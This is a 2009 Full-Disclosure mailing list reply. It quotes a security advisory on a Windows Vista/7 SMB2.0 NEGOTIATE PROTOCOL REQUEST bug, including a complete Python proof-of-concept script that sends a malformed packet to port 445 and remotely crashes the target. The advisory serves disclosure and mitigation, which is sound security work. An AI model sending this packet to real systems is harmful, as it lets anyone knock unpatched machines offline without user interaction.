Re: [Full-disclosure] Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.

[James Matthews <nytrokiss@xxxxxxxxx>]

So Msoft! why can't they just stop reintroducing bugs?

On Wed, Sep 9, 2009 at 11:04 AM, <randomguy@xxxxxxxxxxxx> wrote:

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> How come all I hear about is n3td3v, and I see noone crying out
> lout about this :
> http://www.reversemode.com/index.php?option=com_mamblog&Itemid=15&ta
> sk=show&action=view&id=64&Itemid=15<http://www.reversemode.com/index.php?option=com_mamblog&Itemid=15&ta%0Ask=show&action=view&id=64&Itemid=15>
>
> is fd all 'bout trolls nao?
>
> - --
> =============================================
> - - Release date: September 7th, 2009
> - - Discovered by: Laurent Gaffié
> - - Severity: Medium/High
> =============================================
>
> I. VULNERABILITY
> - -------------------------
> Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.
>
> II. BACKGROUND
> - -------------------------
> Windows vista and newer Windows comes with a new SMB version named
> SMB2.
> See:
> http://en.wikipedia.org/wiki/Windows_Vista_networking_technologies#S
> erver_Message_Block_2.0
> for more details.
>
> III. DESCRIPTION
> - -------------------------
> SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE
> PROTOCOL REQUEST functionnality.
> The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send
> to a SMB server, and it's used
> to identify the SMB dialect that will be used for futher
> communication.
>
> IV. PROOF OF CONCEPT
> - -------------------------
>
> Smb-Bsod.py:
>
> #!/usr/bin/python
> # When SMB2.0 recieve a "&" char in the "Process Id High" SMB
> header field it dies with a
> # PAGE_FAULT_IN_NONPAGED_AREA
>
> from socket import socket
> from time import sleep
>
> host = "IP_ADDR", 445
> buff = (
> "\x00\x00\x00\x90" # Begin SMB header: Session message
> "\xff\x53\x4d\x42" # Server Component: SMB
> "\x72\x00\x00\x00" # Negociate Protocol
> "\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
> "\x00\x26"# Process ID High: --> :) normal value should be
> "\x00\x00"
> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
> "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
> "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
> "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
> "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
> "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
> "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
> "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
> "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
> "\x30\x30\x32\x00"
> )
> s = socket()
> s.connect(host)
> s.send(buff)
> s.close()
>
> V. BUSINESS IMPACT
> - -------------------------
> An attacker can remotly crash without no user interaction, any
> Vista/Windows 7 machine with SMB enable.
> Windows Xp, 2k, are NOT affected as they dont have this driver.
>
> VI. SYSTEMS AFFECTED
> - -------------------------
> Windows Vista/7 All (64b/32b|SP1/SP2 fully updated) and possibly
> Win Server 2008
> as it use the same SMB2.0 driver (not tested).
>
> VII. SOLUTION
> - -------------------------
> Vendor contacted, but no patch available for the moment.
> Close SMB feature and ports, until a patch is provided.
>
> VIII. REFERENCES
> - -------------------------
> http://microsoft.com
>
> IX. CREDITS
> - -------------------------
> This vulnerability has been discovered by Laurent Gaffié
> Laurent.gaffie{remove-this}(at)gmail.com
> http://g-laurent.blogspot.com/
>
> X. LEGAL NOTICES
> - -------------------------
> The information contained within this advisory is supplied "as-is"
> with no warranties or guarantees of fitness of use or otherwise.
> I accept no responsibility for any damage caused by the use or
> misuse of this information.
>
> _______________________________________________
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Full-Disclosure - We believe in it.
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